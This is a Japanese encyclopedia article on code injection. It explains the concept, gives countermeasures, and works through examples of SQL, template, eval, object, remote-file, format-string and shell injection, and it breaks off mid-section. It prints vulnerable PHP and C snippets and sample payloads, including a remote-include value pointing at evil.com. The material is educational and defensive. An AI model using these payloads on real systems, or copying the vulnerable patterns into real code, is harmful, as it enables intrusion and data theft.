コードインジェクション
From Wikipedia, the free encyclopedia
コードインジェクション(Code injection)とは、プログラムがユーザ入力などの外部データを正しく処理できず、そのデータを実行可能なコマンドとして解釈してしまうコンピュータセキュリティ上のエクスプロイトである。この手法を用いる攻撃者は、実行中のプログラムにコードを「注入(inject)」する。脆弱性を利用することで、情報漏洩、制限されたコンピュータシステムへの不正アクセス、マルウェアの拡散につながる可能性がある。
コードインジェクションは、アプリケーションが信頼できないデータをインタプリタに送信し、インタプリタが注入されたテキストをコードとして実行してしまうことで発生する。SQLデータベース、XMLパーサ、オペレーティングシステムのコマンド、SMTPヘッダや、その他のプログラム引数などを利用したサービスでよく見られる。コードインジェクションに対する脆弱性は、ソースコードの検査[1]、静的解析、あるいはファジングなどの動的テスト手法によって特定できる[2]。
コードインジェクションに対する脆弱性には数多くの種類があるが、そのほとんどは解釈のエラーであり、ユーザが入力した無害な情報をコードとして扱ったり、入力とシステムコマンドを区別できなかったりするものである。コードインジェクションは、以下のような多くの目的で悪意を持って使用される可能性がある。
- SQLインジェクションを介してデータベースの値を任意に変更する。この影響はウェブサイトの改ざんから機密情報の深刻な漏洩にまで及ぶ。詳細は任意コード実行を参照。
- サーバサイドのスクリプトコード(PHPなど)を注入することで、サーバにマルウェアをインストールしたり、悪意のあるコードを実行したりする。
- UNIX上のバイナリファイルにおけるシェルインジェクションの脆弱性を利用してスーパーユーザー権限に権限昇格する、あるいはMicrosoft Windows内のサービスを悪用してローカルシステム権限に昇格する。
- ハイパーテキストマークアップ言語(HTML)またはクロスサイトスクリプティング(XSS)インジェクションでウェブユーザを攻撃する。
IoTを標的としたコードインジェクションは、情報漏洩やサービス妨害といった深刻な結果につながる可能性もある[3]。
コードインジェクションは、インタプリタで実行されるあらゆる種類のプログラムで発生しうる。これを行うことは多くの者にとって些細なことであり、サーバソフトウェアがユーザから隔離されている主な理由の1つである。コードインジェクションを直接確認する例として、ブラウザの開発者ツールを使用する方法がある。
脆弱性情報データベース(NVD)には、CWE-94として記録されている。コードインジェクションは、2008年に記録された全脆弱性のうち5.66%を占めた[4]。
コードインジェクションは、攻撃目的以外で行われることもある。例えば、コードインジェクションによってプログラムやシステムの動作を変更・調整し、悪意なくシステムを特定の方法で動作させることがある[5][6]。コードインジェクションは、例えば次のようなことができる。
- 検索結果ページの元の設計にはなかった便利な新しい列を導入する。
- 元の設計のデフォルト機能では公開されていなかったフィールドを使用して、データをフィルタリング、並べ替え、またはグループ化する新しい方法を提供する。
- オフラインプログラムにオンラインリソースへの接続などの機能を追加する。
- 関数をオーバーライドし、呼び出しを別の実装にリダイレクトする。これはLinuxの動的リンカで実現できる[7]。
ユーザは、システムを最初に開発した人々が考慮していなかった入力をプログラムに提供したために、意図せずコードインジェクションを実行してしまうことがある。例えば、
- ユーザが有効な入力と見なすものに、開発者によって特別な意味を持つように予約されたトークン文字や文字列(アンパサンドや引用符など)が含まれている場合がある。
- ユーザが不正な形式のファイルを入力として送信し、それが一方のアプリケーションでは適切に処理されるが、受信側のシステムにとっては有害である場合がある。
また、弱性を見つけて修正するためのペネトレーションテストにもコードインジェクションが用いられる。
コードインジェクションへの対策
サーバサイドアプリケーションへのHTMLまたはスクリプトコードのウェブベースコードインジェクションの問題を防ぐために、次のような対策がある。
- 安全なアプリケーションプログラミングインタフェース(API)を使用する。パラメータ化クエリにより、ユーザデータを解釈される文字列から分離することができる。さらに、Criteria API[8]などのAPIは、文字列を使わずJavaオブジェクトを使ってクエリを組み立るため、有効である。
- 静的型システムを介して言語の分離を強制する[9]。
- 既知の良好な値をホワイトリスト登録するなど、入力を検証する。または入力された値をサニタイズする。これは、悪意のあるユーザによる改変を受けやすいクライアントサイド、またはより安全なサーバサイドで実行できる。
- 特殊文字をエスケープする。例えば、PHPでは、HTMLでテキストを安全に出力するために特殊文字をエスケープする `
htmlspecialchars()` 関数や、SQLリクエストに含まれるデータを分離する `mysqli::real_escape_string()` 関数を使用することで、SQLインジェクションから保護できる。 - ウェブサイト訪問者に対するXSS攻撃を防ぐために、出力をエンコードする。
- HTTP cookieに `
HttpOnly` フラグを使用する。このフラグが設定されると、クライアントサイドのスクリプトとクッキーのやり取りが許可されなくなり、特定のXSS攻撃を防ぐことができる[10]。 - カーネルからのモジュラーシェルを分離する。
- SQLインジェクションに関しては、パラメータ化クエリ、ストアドプロシージャ、ホワイトリストによる入力検証などのアプローチを使用して、攻撃のリスクを軽減できる[11]。オブジェクト関係マッピングを使用すると、ユーザが直接SQLクエリを操作するのをさらに防ぐことができる。
ユーザのマシン内のユーザコードのインジェクションへの対策には、管理コードおよび非管理コードのインジェクションを検出・分離する必要がある。次のような対策がある。
- 実行時イメージのハッシュ検証を行う。メモリにロードされた実行可能ファイルのイメージのハッシュをキャプチャし、保存されているハッシュと比較する。
- NXビットを用いる。すべてのユーザデータは、実行不可としてマークされた特別なメモリセクションに保存される。プロセッサは、メモリのその部分にコードが存在しないことを認識し、そこで見つかったものの実行を拒否する。
- スタックにランダムに配置される値であるカナリアを使用する。実行時に、関数が戻るときにカナリアがチェックされる。カナリアが変更されている場合、プログラムは実行を停止して終了する。これにより、スタックバッファオーバーフロー攻撃を防ぐことができる。
- コードポインタマスキング(CPM)を行う。変更された可能性のあるコードポインタをレジスタにロードした後、ユーザはポインタにビットマスクを適用できる。これにより、ポインタが参照できるアドレスが効果的に制限される。これはC言語で使用される[12]。
事例
SQLインジェクション
クロスサイトスクリプティング
サーバサイドテンプレートインジェクション
テンプレートエンジンは、現代のウェブアプリケーションで動的データを表示するためによく使用される。しかし、検証されていないユーザデータを信頼すると、サーバサイドテンプレートインジェクションのような重大な脆弱性につながることが多い[13]。この脆弱性はクロスサイトスクリプティングに似ているが、テンプレートインジェクションは訪問者のブラウザではなくウェブサーバ上でコードを実行するために利用できる。これは、ウェブアプリケーションがユーザ入力とテンプレートを使用してウェブページをレンダリングするという一般的なワークフローを悪用する。以下の例は、その概念を示している。ここでは、テンプレート `{{visitor_name}}` がレンダリングプロセス中にデータで置き換えられる。
こんにちは {{visitor_name}}
攻撃者はこのワークフローを使用して、悪意のある `visitor_name` を提供することでレンダリングパイプラインにコードを注入できる。ウェブアプリケーションの実装によっては、`{{7*'7'}}` を注入することを選択でき、レンダラーはこれを `こんにちは 7777777` に解決する可能性がある。実際のウェブサーバが悪意のあるコードを評価したため、リモートコード実行に対して脆弱である可能性があることに注意されたい。
動的評価の脆弱性
eval()インジェクションの脆弱性は、攻撃者がeval()関数呼び出しに渡される入力文字列の全部または一部を制御できる場合に発生する[14]。
$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');
`eval` の引数はPHPとして処理されるため、追加のコマンドを付加することができる。例えば、「arg」が「10; system('/bin/echo uh-oh')」に設定されている場合、追加のコードが実行され、サーバ上でプログラム(この場合は「/bin/echo」)が実行される。
オブジェクトインジェクション
PHPでは、オブジェクト全体をシリアライズおよびデシリアライズすることができる。信頼できない入力がデシリアライズ関数に許可されると、プログラム内の既存のクラスを上書きして悪意のある攻撃を実行することが可能になる[15]。Joomlaに対するこのような攻撃は2013年に発見された[16]。
リモートファイルインジェクション
このPHPプログラム(リクエストで指定されたファイルを含める)を考える。
<?php
$color = 'blue';
if (isset($_GET['color']))
$color = $_GET['color'];
require($color . '.php');
この例では色が提供されることを期待しているが、攻撃者は `COLOR=http://evil.com/exploit` を提供する可能性があり、PHPがリモートファイルをロードする原因となる。
書式指定文字列インジェクション
書式文字列のバグは、プログラマがユーザ提供のデータを含む文字列を印字したい場合に最も一般的に現れる。プログラマは `printf("%s", buffer)` の代わりに誤って `printf(buffer)` と書いてしまうことがある。最初のバージョンは `buffer` を書式指定文字列として解釈し、そこに含まれる可能性のある書式指定命令を解析する。2番目のバージョンは、プログラマが意図したとおりに、単に文字列を画面に印字する。パスワードを保持するローカルのchar配列 `password` を持つ次の短いC言語プログラムを考える。このプログラムは、ユーザに整数と文字列を尋ね、その後、ユーザが提供した文字列をエコーバックする。
char user_input[100];
int int_in;
char password[10] = "Password1";
printf("Enter an integer\n");
scanf("%d", &int_in);
printf("Please enter a string\n");
fgets(user_input, sizeof(user_input), stdin);
printf(user_input); // 安全なバージョンは: printf("%s", user_input);
printf("\n");
return 0;
ユーザ入力が `%s%s%s%s%s%s%s%s` のような書式指定子のリストで満たされている場合、`printf()` はスタックから読み取りを開始する。最終的に、`%s` 書式指定子の1つがスタック上にある `password` のアドレスにアクセスし、画面に `Password1` を印字する。
シェルインジェクション
シェルインジェクション(またはOSコマンドインジェクション[17])は、UNIXシェルにちなんで名付けられたが、ソフトウェアがプログラム的にコマンドラインを実行できるほとんどのシステムに適用される。以下は脆弱なtcshスクリプトの例である。
!/bin/tcsh
# argが1のいずれかに一致する場合、それを出力する
if ($1 == 1) echo it matches
上記が実行可能ファイル `./check` に保存されている場合、シェルコマンド `./check " 1 ) evil"` は、引数を定数1と比較する代わりに、注入されたシェルコマンド `evil` を実行しようとする。ここで、攻撃対象のコードはパラメータをチェックしようとしているコード、つまり攻撃から防御するためにパラメータを検証しようとしていたかもしれないまさにそのコードである[18]。シェルコマンドを構成して実行するために使用できる任意の関数は、シェルインジェクション攻撃を開始するための潜在的な媒体となる。これらの中には、system()、StartProcess()、およびSystem.Diagnostics.Process.Start() がある。
クライアントサーバシステム、例えばウェブブラウザとウェブサーバとの相互作用は、シェルインジェクションに対して脆弱である可能性がある。ユーザが送信した単語を他の単語に置き換えるために外部プログラム `funnytext` を実行できる、ウェブサーバ上で実行される次の短いPHPプログラムを考える。